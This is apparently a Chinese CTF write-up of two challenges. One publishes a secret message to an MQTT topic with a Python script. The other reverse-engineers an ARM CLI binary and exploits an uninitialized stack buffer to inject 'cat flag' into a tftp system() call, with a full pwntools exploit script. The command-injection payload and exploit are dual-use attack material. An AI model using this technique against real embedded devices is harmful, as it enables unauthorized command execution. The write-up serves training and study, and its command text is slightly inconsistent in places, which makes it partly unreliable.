tqmm

Mqtt 协议题目,看公布靶机端口只有 9999 ,没有 mqtt 服务的默认端口 1883 ,扫了一下实际上 1883 也是开的。nc 链接上去输出提示,但是 topic 显示为空,一开始摸不着头脑。

尝试了接收 2022/hatlab/flag、2022/hatlab/getflag 等等操作。看到 publish me 感觉还是发布订阅主题,message 确定是:oiU7m9ipyqFdzkUFb1vfkabZ7IqiAefslrc3ovql2dA =。但是 topic 和 subscribe 是什么在来回折腾,最后试出来了应该是发布一个 topic 为 2022/hatlab/flag ,message 为 oiU7m9ipyqFdzkUFb1vfkabZ7IqiAefslrc3ovql2dA= 。

img

EXP

mosquitto 用不来,找了个 python 脚本发布:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# encoding: utf-8
import paho.mqtt.client as mqtt

HOST = "114.5.12.26"
PORT = 1883

def test():
client = mqtt.Client()
client.connect(HOST, PORT, 30)
client.publish("2022/hatlab/flag","oiU7m9ipyqFdzkUFb1vfkabZ7IqiAefslrc3ovql2dA=",2) # 发布一个主题为'chat',内容为‘hello liefyuan’的信息
client.loop_forever()

if __name__ == '__main__':
test()

binwalk 解压缩之后根目录下有一个 cli ,通过 xinetd.conf 可以知道维持运行的就是这个 cli ,或者可以找找 root 下内动没有可以运行程序,都是 busybox ld 出来的指令,分析入口就是 cli 。

cli 类似于传统 pwn 题目,通过命令行交互,提供了几个功能。Hint:与栈溢出无关、可以反弹 shell 。那么目标就锁定在调用 system、pope 容易 RCE 的地方。经过分析,sub_10C5C 这个函数就是统一进行系统调用的函数。

image-20220324144255453

需要执行的命令由 sub_116B4 接收和过滤非法字符,能够让命令并行执行的符号都被过滤。虽然换行符没有被过滤,但是输入换行符之后会结束输入,无法写入第二题命令。

image-20220324144448233

输入字符串中函数非法字符串会返回 -1 并退出。但是在 download_logs 输入 ip 时,并没有相关的 if 判断

image-20220324144814984

也就是输入非法字符串依然会运行,但字符串会在非法字符串处被截断,即无法输入第二条命令。但是存储 ip address 的 v3 是没有初始化的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
int sub_11344()
{
int v0; // r3
char v2[8]; // [sp+Ch] [bp-1148h] BYREF
char v3[32]; // [sp+70h] [bp-10E4h] BYREF
char v4[4096]; // [sp+90h] [bp-10C4h] BYREF
struct stat stat_buf; // [sp+1090h] [bp-C4h] BYREF
char haystack[104]; // [sp+10ECh] [bp-68h] BYREF

printf("Enter the log filename: > ");
if ( sub_116B4((int)haystack, 100u) == 1 )
{
if ( strstr(haystack, "../") || strstr(haystack, "flag") )
{
v0 = -2;
}
else
{
memset(v4, 0, sizeof(v4));
if ( sub_11AB4("/var/log/cli_logs", &stat_buf) == -1 )
{
puts("Log file no found!");
v0 = -1;
}
else if ( sub_110A4("/var/log/cli_logs", v4, stat_buf.st_size) == -1 )
{
sub_10EB0("Log file no found!");
v0 = -1;
}
else if ( sub_11180("/tmp/logs.txt", v4, stat_buf.st_size) )
{
sub_10EB0("Log file is empty!");
v0 = -1;
}
else
{
printf("Enter a remote ip address: > ");
sub_116B4((int)v3, 30u);
puts("Starting download...");
sprintf(v2, "tftp -p -l %s -r %s %s", "/tmp/logs.txt", "/tmp/logs.txt", v3);
v0 = sub_10C5C(v2);
if ( v0 != 1 )
{
sub_10EB0("System error!");
v0 = -1;
}
}
}
}
else
{
sub_10EB0("Filename is illegal!");
v0 = -2;
}
return v0;
}

如果连续两次调用 download_logs v3 会被分配同一个栈地址,就能通过两次写入将第二条命令写进去

1
2
3
first	:aaaaaaacat flag;
second :aaaaaa;
finally :aaaaaa;cat flag;

导致最后执行命令变成:ping aaaaaa;cat flag;

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
import sys
context.binary = "./cli"
context.log_level = "debug"


if sys.argv[1] == "r":
p = remote("114.5.12.24", 9999)
elif sys.argv[1] == "l":
p = process(["./qemu-arm-static",
"-L", "/usr/arm-linux-gnueabi",
"./cli"])
else:
p = process(["./qemu-arm-static", "-g", "1234",
"-L", "/usr/arm-linux-gnueabi",
"./cli"])

p.sendlineafter(">","diagnose")
p.sendlineafter("> ","`")

p.sendlineafter(">","logs_download")
p.sendlineafter("filename: > ","/var/log/cli_logs")
p.sendlineafter(">","/var/log/cat flag")

p.sendlineafter(">","logs_download")
p.sendlineafter("filename: > ","/var/log/cli_logs")
p.sendlineafter(">","cat flag;")

p.interactive()